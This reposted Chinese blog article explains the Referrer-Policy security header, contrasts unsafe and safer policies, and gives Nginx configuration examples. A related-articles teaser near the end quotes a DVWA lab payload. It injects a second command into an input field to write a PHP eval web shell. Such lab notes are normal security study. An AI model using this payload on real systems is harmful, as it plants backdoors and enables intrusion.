Web安全 - “Referrer Policy“ Security 头值不安全

文章目录

  • 概述
  • 原因分析
  • 风险说明
  • `Referrer-Policy` 头配置选项
    • 1. 不安全的策略
      • `no-referrer-when-downgrade`
      • `unsafe-url`
    • 2. 安全的策略
      • `no-referrer`
      • `origin`
      • `origin-when-cross-origin`
      • `same-origin`
      • `strict-origin`
      • `strict-origin-when-cross-origin`
  • 推荐配置
    • Nginx 配置示例
  • 在 Nginx 中配置 `Referrer-Policy`
    • 配置示例
  • 总结

在这里插入图片描述


概述

在这里插入图片描述


原因分析

Referrer Policy(引用策略)是 Web 应用程序的一个关键配置,用于定义浏览器在向目标网站发送请求时,如何处理并发送 Referer 头信息。Referer 头可能包含敏感信息(例如:用户名、密码、文件路径、页面 URL 等),如果没有正确配置 Referrer-Policy,这些信息可能被暴露给跨站点(第三方)请求,从而导致安全漏洞。

不正确的配置(例如使用 no-referrer-when-downgradeunsafe-url)可能会导致:

  • 敏感信息泄露:例如,包含敏感信息的 URL 可能会被无意间暴露给第三方网站。
  • 跨站点泄漏:如果不适当地泄露了 Referer,其他站点可能会获得该敏感数据。
  • 攻击者利用信息:例如,攻击者通过分析泄露的 Referer 信息,可能会获得关于用户身份、账户、甚至敏感资源的线索,从而进行攻击。

风险说明

在这里插入图片描述

  1. 敏感数据泄露

    • 如果 Referrer-Policy 配置不当,用户在浏览页面时,URL 地址中可能会暴露敏感信息(如用户名、密码、身份标识符、路径信息等),这些信息可能会通过 Referer 头发送到外部站点。
    • 特别是在 HTTP 到 HTTPS 跳转或跨站点请求时,URL 中的敏感数据可以被泄露,进一步加大了信息泄露的风险。
  2. 用户信任受损

    • 防备心不强的用户在网站上提供敏感信息(如信用卡号、社会保险号等)时,若系统没有正确保护其数据隐私(如通过不安全的 Referer 配置泄露了敏感信息),可能会引发信任危机。
  3. 潜在的跨站点攻击

    • 不正确的 Referrer-Policy 使得敏感信息可以通过 Referer 头泄漏给不受信任的第三方站点,这可能会为攻击者提供利用跨站点漏洞(如 CSRF、XSS 等)的机会。

Referrer-Policy 头配置选项

"no-referrer-when-downgrade""unsafe-url" 是泄露第三方网站完整 URL 的策略,它们可能导致敏感信息泄漏。

1. 不安全的策略

no-referrer-when-downgrade

  • 定义:当请求从 HTTPS 协议降级到 HTTP 时,不会发送 Referer 头;但在其他情况下(包括 HTTPS 到 HTTPS,HTTP 到 HTTP),仍会发送完整的 Referer 头。
  • 风险
    • 当从 HTTPS 页面跳转到 HTTP 页面时,浏览器不会发送 Referer 头,以防泄露信息。
    • 然而,在 HTTPS 到 HTTPS 或 HTTP 到 HTTP 的情况下,Referer 头会包含完整的 URL(包括路径和查询参数),这可能会泄露敏感数据。
    • 该策略不能完全保护隐私,尤其是跨站点的情况。

unsafe-url

  • 定义:始终发送完整的 Referer 头,包括 URL 的协议、主机、路径和查询参数,无论目标页面的协议如何。
  • 风险
    • 这种配置会导致 Referer 头泄漏所有请求的详细信息,包括路径和查询字符串。
    • 即使请求从 HTTPS 页面跳转到 HTTP 页面,浏览器仍会发送完整的 URL,这可能会导致敏感信息(如会话 ID、用户数据等)泄漏。
    • 强烈不建议使用该策略,尤其在涉及敏感数据的站点上。

2. 安全的策略

与上述不安全的策略相比,以下是一些更为安全的 Referrer-Policy 配置,能够有效防止敏感信息泄漏。

no-referrer

  • 定义:完全禁止浏览器发送 Referer 头。
  • 优点
    • 提供最高级别的隐私保护,不会泄露任何来源信息。
    • 防止所有跨站点的 Referer 泄露。
  • 缺点
    • 对某些需要依赖 Referer 信息的功能(例如,分析或日志记录)会有影响。
    • 如果网站内部的某些操作依赖于 Referer,则需要考虑是否适合使用该策略。

origin

  • 定义:仅发送请求的源(域名),而不包含路径和查询参数。
    • 例如,Referer: https://example.com/ 而不是 https://example.com/path?query=param
  • 优点
    • 只泄露源(域名),不泄露路径或查询字符串,适合保护用户隐私。
  • 缺点
    • 适用于需要保护隐私的跨站点请求,但在某些情况下,源信息可能不足以满足需要跟踪源的应用程序需求。

origin-when-cross-origin

  • 定义:当请求是同源请求时,发送完整的 Referer 头(包括路径和查询参数);当请求是跨站点请求时,仅发送源(域名)。
  • 优点
    • 为同源请求提供完全的 Referer 信息,而对于跨站点请求则仅泄露源信息,最大限度地减少跨站点泄露敏感信息的风险。
    • 推荐用于保护隐私并确保同源请求的正常运作。
  • 缺点
    • 对跨站点请求仍然可能会限制某些分析或跟踪功能,但在隐私和安全性方面提供了更好的平衡。

same-origin

  • 定义:只有在请求目标与当前页面同源时,才会发送 Referer 头。跨站点请求将不发送 Referer
  • 优点
    • 最大限度地保护跨站点隐私,完全防止了跨站点泄漏 Referer 信息。
  • 缺点
    • 对于跨站点请求(如 API 调用),无法发送 Referer 信息,这可能影响一些站点功能(如跨站点资源共享等)。

strict-origin

  • 定义:只有在请求的目标是安全站点(即 HTTPS)并且协议一致时,才发送 Referer 头。对跨站点请求的保护比 origin 更严格。
  • 优点
    • 对跨站点请求有更强的隐私保护,确保只有同协议的请求会发送源信息。
  • 缺点
    • 如果目标站点使用的是 HTTP 协议,甚至源信息也不会被发送。

strict-origin-when-cross-origin

  • 定义:如果请求是同源请求,则发送完整的 Referer 头;如果请求是跨站点请求,则仅发送源(域名);且目标站点需要使用 HTTPS 协议时才会发送 Referer
  • 优点
    • 这是目前最为推荐的策略,在保证跨站点隐私的同时,允许同源请求发送完整的 Referer 信息。即使是跨站点请求,也只会泄露源信息,并且只有目标是安全的 HTTPS 网站时,才会发送 Referer 信息。
    • 提供了对隐私的最大保护,同时不会干扰正常功能。
  • 缺点
    • 对于不使用 HTTPS 的目标站点,Referer 信息将不被发送。

推荐配置

对于大多数站点,strict-origin-when-cross-origin 是最佳选择,因为它在保障隐私和安全的同时,不会对大多数跨站点请求产生负面影响。

Nginx 配置示例

http {add_header Referrer-Policy "strict-origin-when-cross-origin" always;
}
  • 不安全的策略(如 no-referrer-when-downgradeunsafe-url)会泄漏敏感信息,尤其是在跨站点请求时。
  • 推荐的策略(如 strict-origin-when-cross-originorigin-when-cross-origin)能够在保持功能正常的同时,最大限度地保护用户隐私。
  • 配置 Referrer-Policy 头是 Web 安全的重要措施,确保适当配置可以降低泄漏敏感数据的风险。

在 Nginx 中配置 Referrer-Policy

可以通过在 Nginx 配置中设置适当的 Referrer-Policy 来避免泄漏敏感信息。

配置示例

  1. 全局设置

    http {add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    }
    
  2. 虚拟主机设置

    server {listen 80;server_name example.com;add_header Referrer-Policy "strict-origin-when-cross-origin" always;# 其他配置...
    }
    
  3. 特定路径设置

    server {listen 80;server_name example.com;location /some-path/ {add_header Referrer-Policy "no-referrer" always;}# 其他配置...
    }
    

总结

  • Referrer-Policy 头是防止敏感数据泄露的有效工具。合理配置此头可以保护用户隐私,防止跨站点泄露敏感信息。
  • 避免使用不安全的策略,如 no-referrer-when-downgradeunsafe-url,并优选使用 strict-origin-when-cross-origin 或更严格的策略。
  • 定期检查并更新你的 Web 应用配置,确保所有安全头都已正确设置,以减少潜在的安全风险。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/66220.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Hyperbolic dynamics

http://www.scholarpedia.org/article/Hyperbolic_dynamics#:~:textAmong%20smooth%20dynamical%20systems%2C%20hyperbolic%20dynamics%20is%20characterized,semilocal%20or%20even%20global%20information%20about%20the%20dynamics. 什么是双曲动力系统? A hy…

基于SpringBoot在线竞拍平台系统功能实现十五

一、前言介绍: 1.1 项目摘要 随着网络技术的飞速发展和电子商务的普及,竞拍系统作为一种新型的在线交易方式,已经逐渐深入到人们的日常生活中。传统的拍卖活动需要耗费大量的人力、物力和时间,从组织拍卖、宣传、报名、竞拍到成…

Ubuntu 搭建SVN服务

目录 ​ 1、安装SVN服务端 2、创建SVN版本库 3、修改SVN配置svnserve.conf 3.1 配置文件介绍 3.2 svnserve.conf配置 3.3 authz配置设置用户读写权限 3.4 passwd配置 用户名密码 4、启动SVN服务 4.1 配置开机启动 1、安装SVN服务端 sudo apt-get install subversion…

DataV数据可视化

阿里云 DataV 是一个强大的数据可视化工具,可以帮助用户通过创建丰富的图表、仪表盘、地图和互动视图,将复杂的数据转化为易于理解和分析的可视化信息。DataV主要用于大数据和实时数据的展示,可以帮助企业和个人更直观地理解数据背后的含义&a…

电子电气架构 --- 整车整车网络管理浅析

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 所谓鸡汤,要么蛊惑你认命,要么怂恿你拼命,但都是回避问题的根源,以现象替代逻辑,以情绪代替思考,把消极接受现实的懦弱,伪装成乐观面对不幸的…

面试题解,Java中的“对象”剖析

一、说一说JVM中对象的内存布局?new一个对象到底占多大内存? 话不多说,看下图,对象的内存布局图 一个对象的内存布局主要由三部分组成:对象头(Object Header)、实例数据(Instance D…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

MySQL(五)MySQL图形化工具-Navicat

1. MySQL图形化工具-Navicat Navicat是一套快速、可靠的数据库管理工具&#xff0c;Navicat是以直觉化的图形用户界面而建的&#xff0c;可以兼容多种数据库&#xff0c;支持多种操作系统。   Navicat for MySQL是一款强大的 MySQL 数据库管理和开发工具&#xff0c;它为专业…

非关系型数据库和关系型数据库的区别

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

信息科技伦理与道德1:绪论

1 问题描述 1.1 信息科技的进步给人类生活带来的是什么呢&#xff1f; 功能&#xff1f;智能&#xff1f;陪伴&#xff1f;乐趣&#xff1f;幸福&#xff1f; 基于GPT-3的对话Demo DeepFake 深伪技术&#xff1a;通过神经网络技术进行大样本学习&#xff0c;将个人的声音、面…

iOS 11 中的 HEIF 图像格式 - 您需要了解的内容

HEIF&#xff0c;也称为高效图像格式&#xff0c;是iOS 11 之后发布的新图像格式&#xff0c;以能够在不压缩图像质量的情况下以较小尺寸保存照片而闻名。换句话说&#xff0c;HEIF 图像格式可以具有相同或更好的照片质量&#xff0c;同时比 JPEG、PNG、GIF、TIFF 占用更少的设…

windows远程桌面无法连接,报错:“由于没有远程桌面授权服务器可以提供许可证,远程会话被中断。请跟服务器管理员联系”

windows远程桌面无法连接&#xff0c;报错&#xff1a;“由于没有远程桌面授权服务器可以提供许可证&#xff0c;远程会话被中断。请跟服务器管理员联系” 问题描述&#xff1a;解决方法&#xff1a;无法删除条目解决如下&#xff1a;正常激活详见&#xff1a;[RDS远程服务激活…

Tesseract5.4.0自定义LSTM训练

准备jTessBoxEditor&#xff0c;然后配置环境变量。 1、将图片转换成tif格式的&#xff0c;这里需要用画图工具另存为&#xff1b; 2、生成box文件 执行命令&#xff1a; tesseract agv.normal.exp1.tif agv.normal.exp1 -l eng --psm 6 batch.nochop makebox 关于box文件…

Oracle Dataguard(主库为 Oracle 11g 单节点)配置详解(1):Oracle Dataguard 工作原理

Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle Dataguard 工作原理 目录 Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle …

Windows系统安装Docker Desktop

文章目录 注意事项安装步骤官网下载软件安装到其它盘符操作(如果就想安装到C盘可以跳过这个步骤, 直接执行文件)等待出现软件安装界面Windows系统的配置软件的一些必要设置(以下设置需要点击apply才能生效&#xff0c;如果点不了&#xff0c;那就是安装后&#xff0c;出现了错误…

从零开始RTSP协议的实时流媒体拉流(pull)的设计与实现(一)

此文为系列文章&#xff0c;此系列主要讲解RTSP客户端的拉流及播放&#xff0c;文章持续更新&#xff0c;会从rtsp的基本协议讲起&#xff0c;如何一步步实现音视频的拉流过程&#xff0c;包括一系列涉及到的协议&#xff0c;rtsp&#xff0c;sdp&#xff0c; rtp&#xff08;本…

特殊车辆检测数据集VOC+YOLO格式2730张3类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;2730 标注数量(xml文件个数)&#xff1a;2730 标注数量(txt文件个数)&#xff1a;2730 …

LookingGlass使用

背景 Looking Glass 是一款开源应用程序&#xff0c;可以直接使用显卡直通的windows虚拟机。 常见环境是Linux hostwindows guest&#xff0c;基本部署结构图&#xff1a; 编译 git clone --recursive https://github.com/gnif/LookingGlass.git编译client mkdir client/b…

Ceph 手动部署(CentOS9)

#Ceph手动部署、CentOS9、squid版本、数字版本19.2.0 #部署服务:块、对象、文件 一、部署前规划 1、兼容性确认 2、资源规划 节点类型节点名称操作系统CPU/内存硬盘网络组件安装集群节点CephAdm01CentOS94U/8GOS:40G,OSD:2*100GIP1:192.169.0.9(管理&集群),IP2:…

如何优化亚马逊广告以提高ROI?

在竞争激烈的亚马逊市场中&#xff0c;优化广告以提高投资回报率&#xff08;ROI&#xff09;是卖家的关键任务。以下是一些实用的策略&#xff1a; 一、精准的关键词研究与选择 深入了解产品特性和目标受众 详细分析产品的功能、用途、优势和适用人群。例如&#xff0c;如果你…